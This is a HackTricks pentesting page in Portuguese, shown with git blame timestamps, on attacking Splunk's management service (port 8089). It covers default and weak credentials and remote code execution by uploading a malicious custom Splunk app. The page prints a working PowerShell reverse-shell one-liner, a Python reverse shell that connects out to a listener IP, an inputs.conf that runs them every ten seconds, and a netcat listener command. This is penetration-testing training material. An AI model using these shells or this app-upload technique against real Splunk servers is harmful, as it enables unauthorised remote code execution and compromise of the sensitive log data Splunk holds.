hacktricks/network-services-pentesting/8089-splunkd.md

141 lines
8.8 KiB
Markdown
Raw Normal View History

# 8089 - Pentesting Splunkd
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
2020-11-06 00:32:50 +00:00
## **Informações Básicas**
Splunk é uma **ferramenta de análise de logs** que desempenha um papel crucial na **coleta, análise e visualização de dados**. Embora seu propósito inicial não fosse servir como uma **ferramenta SIEM (Gerenciamento de Informações e Eventos de Segurança)**, ganhou popularidade no campo de **monitoramento de segurança** e **análise de negócios**.
Implantações do Splunk são frequentemente utilizadas para armazenar **dados sensíveis** e podem servir como uma **fonte valiosa de informações** para potenciais atacantes se conseguirem comprometer o sistema. **Porta padrão:** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
O **servidor web do Splunk roda por padrão na porta 8000**.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2023-06-06 18:56:34 +00:00
## Enumeração
2022-10-03 00:11:21 +00:00
2023-06-06 18:56:34 +00:00
### Versão Gratuita
2022-10-03 00:11:21 +00:00
A versão de teste do Splunk Enterprise se converte em uma **versão gratuita após 60 dias**, que **não requer autenticação**. Não é incomum que administradores de sistema instalem uma versão de teste do Splunk para testá-lo, que é **subsequentemente esquecida**. Isso se converterá automaticamente na versão gratuita que não possui qualquer forma de autenticação, introduzindo uma falha de segurança no ambiente. Algumas organizações podem optar pela versão gratuita devido a restrições orçamentárias, sem entender completamente as implicações de não ter gerenciamento de usuários/papéis.
2022-10-03 00:11:21 +00:00
2023-06-06 18:56:34 +00:00
### Credenciais Padrão
2022-10-03 00:11:21 +00:00
Em versões mais antigas do Splunk, as credenciais padrão são **`admin:changeme`**, que são convenientemente exibidas na página de login.\
No entanto, **a versão mais recente do Splunk** define **credenciais** **durante o processo de instalação**. Se as credenciais padrão não funcionarem, vale a pena verificar senhas fracas comuns, como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
2022-10-03 00:11:21 +00:00
2023-06-06 18:56:34 +00:00
### Obter Informações
2022-10-03 00:11:21 +00:00
Uma vez logado no Splunk, podemos **navegar pelos dados,** executar **relatórios**, criar **painéis**, **instalar aplicativos** da biblioteca Splunkbase e instalar aplicativos personalizados.\
Você também pode executar código: o Splunk tem várias maneiras de **executar código**, como aplicativos Django do lado do servidor, endpoints REST, entradas scriptadas e scripts de alerta. Um método comum de obter execução remota de código em um servidor Splunk é através do uso de uma entrada scriptada.
2022-10-03 00:11:21 +00:00
Além disso, como o Splunk pode ser instalado em hosts Windows ou Linux, entradas scriptadas podem ser criadas para executar scripts Bash, PowerShell ou Batch.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk build`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
### Criar Aplicativo Personalizado
2022-10-03 00:11:21 +00:00
Um aplicativo personalizado pode executar **scripts Python, Batch, Bash ou PowerShell**.\
Observe que **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código python.
2022-04-28 16:01:33 +00:00
Você pode usar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) pacote Splunk para nos ajudar. O diretório **`bin`** neste repositório tem exemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos passar por isso passo a passo.
2022-10-03 00:11:21 +00:00
Para conseguir isso, primeiro precisamos criar um aplicativo Splunk personalizado usando a seguinte estrutura de diretório:
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
O diretório **`bin`** conterá quaisquer **scripts que pretendemos executar** (neste caso, um **PowerShell** reverse shell), e o diretório padrão terá nosso arquivo `inputs.conf`. Nosso reverse shell será um **PowerShell one-liner:**
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
O arquivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) informa ao Splunk **qual script executar** e quaisquer outras condições. Aqui, definimos o aplicativo como habilitado e dizemos ao Splunk para executar o script a cada 10 segundos. O intervalo está sempre em segundos, e a entrada (script) só será executada se esta configuração estiver presente.
2022-10-03 00:11:21 +00:00
```shell-session
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Precisamos do arquivo `.bat`, que será executado quando o aplicativo for implantado e executará a linha de comando do PowerShell.
2022-10-03 00:11:21 +00:00
O próximo passo é escolher `Install app from file` e fazer o upload do aplicativo.
2022-10-03 00:11:21 +00:00
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
Antes de fazer o upload do aplicativo personalizado malicioso, vamos iniciar um listener usando Netcat ou [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Na página `Upload app`, clique em procurar, escolha o tarball que criamos anteriormente e clique em `Upload`. Assim que **fizermos o upload da aplicação**, um **reverse shell é recebido**, pois o status da aplicação será automaticamente alterado para `Enabled`.
2022-10-03 00:11:21 +00:00
#### Linux
Se estivéssemos lidando com um **host Linux**, precisaríamos **editar o script Python `rev.py`** antes de criar o tarball e fazer o upload do aplicativo malicioso personalizado. O restante do processo seria o mesmo, e obteríamos uma conexão de reverse shell em nosso ouvinte Netcat e estaríamos prontos para começar.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Escalação de Privilégios
2022-10-03 00:11:21 +00:00
Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
## Referências
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-03 00:11:21 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}